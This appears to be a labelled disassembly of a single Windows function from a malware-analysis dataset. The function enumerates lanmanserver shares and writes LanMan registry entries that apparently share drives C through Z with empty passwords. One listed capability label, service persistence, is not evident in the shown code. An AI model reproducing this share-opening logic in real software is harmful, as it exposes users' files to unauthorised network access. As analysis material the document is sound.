Function at 0x37374f44
Capabilities:
Persist via windows service
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x75c
push ebx
push esi
xor esi, esi
push edi
cmp dword [0x3737ad10], esi
je 0x3737504b
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0xff
push eax
push 0xf003f
push esi
push str.SYSTEMCurrentControlSetServiceslanmanserverShares
push 0x80000002
mov dword [ebp - 4], 0x1fe
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x37375277
lea eax, [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
push eax
lea eax, [ebp - 0x35c]
push eax
push esi
lea eax, [ebp - 0xc]
push esi
push eax
lea eax, [ebp - 0x15c]
push eax
push esi
push dword [ebp - 0x10]
mov dword [ebp - 8], esi
call edi
test eax, eax
jne 0x37375043
cmp byte [ebp - 0x15b], 0x24
je 0x3737500f
mov eax, dword [ebp - 4]
xor ebx, ebx
xor edx, edx
lea ecx, [eax - 4]
cmp ecx, esi
jbe 0x3737500f
cmp byte [ebp + edx - 0x35c], 0x50
lea eax, [ebp + edx - 0x35b]
jne 0x37374fff
cmp byte [eax], 0x61
jne 0x37374fff
cmp byte [eax + 1], 0x74
jne 0x37374fff
cmp byte [eax + 2], 0x68
jne 0x37374fff
cmp byte [eax + 3], 0x3d
jne 0x37374fff
lea ebx, [eax + 4]
inc edx
cmp edx, ecx
jb 0x37374fd4
cmp ebx, esi
je 0x3737500f
push ebx
call fcn.37373ddf
pop ecx
lea eax, [ebp - 4]
inc dword [ebp - 8]
push eax
lea eax, [ebp - 0x35c]
push eax
push esi
lea eax, [ebp - 0xc]
push esi
push eax
lea eax, [ebp - 0x15c]
push eax
mov dword [ebp - 0xc], 0xff
push dword [ebp - 8]
mov dword [ebp - 4], 0x1fe
push dword [ebp - 0x10]
jmp 0x37374fb3
push dword [ebp - 0x10]
jmp 0x37375271
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], esi
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x37375277
push esi
push esi
push esi
lea eax, [ebp - 0x10]
push esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
lea eax, [ebp - 0x15c]
push eax
push esi
push dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0xff
mov dword [ebp - 8], esi
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x37375197
cmp byte [ebp - 0x15b], 0x24
je 0x3737516e
lea eax, [ebp - 0x260]
push str.SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan_
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x260]
push esi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x3737516e
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x400
push eax
lea eax, [ebp - 0x75c]
push eax
push esi
push esi
push str.Path
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x192
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xc]
push 4
push eax
push 4
push esi
push str.Flags
push dword [ebp - 4]
call ebx
push esi
push esi
push 3
push esi
push str.Parm1enc
push dword [ebp - 4]
call ebx
push esi
push esi
push 3
push esi
push str.Parm2enc
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x75c]
push eax
call fcn.37373ddf
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 8]
push esi
push esi
push esi
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x15c]
push eax
mov dword [ebp - 0x10], 0xff
push dword [ebp - 8]
push dword [ebp - 0x1c]
call edi
test eax, eax
je 0x373750aa
mov dword [ebp - 0xc], esi
mov al, byte [ebp - 0xc]
push 0xf
pop ecx
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanManX_
lea edi, [ebp - 0x5c]
add al, 0x43
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x11], al
mov byte [ebp - 0x23], al
lea eax, [ebp - 0x20]
xor esi, esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
lea eax, [ebp - 0x5c]
push esi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x37375261
mov eax, dword [0x3737a1bc]
push 4
mov dword [ebp - 0x18], eax
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x18], al
pop edi
lea eax, [ebp - 8]
push edi
push eax
push edi
push esi
push str.Flags
push dword [ebp - 4]
mov dword [ebp - 8], 0x192
call ebx
push esi
push esi
push 3
push esi
push str.Parm1enc
push dword [ebp - 4]
call ebx
push esi
push esi
push 3
push esi
push str.Parm2enc
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x18]
push edi
push eax
push 1
push esi
push str.Path
push dword [ebp - 4]
call ebx
push esi
push esi
push 1
push esi
push str.Remark
push dword [ebp - 4]
call ebx
lea eax, [ebp - 8]
push edi
push eax
push edi
push esi
push str.Type
push dword [ebp - 4]
mov dword [ebp - 8], esi
call ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x18
jb 0x3737519a
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret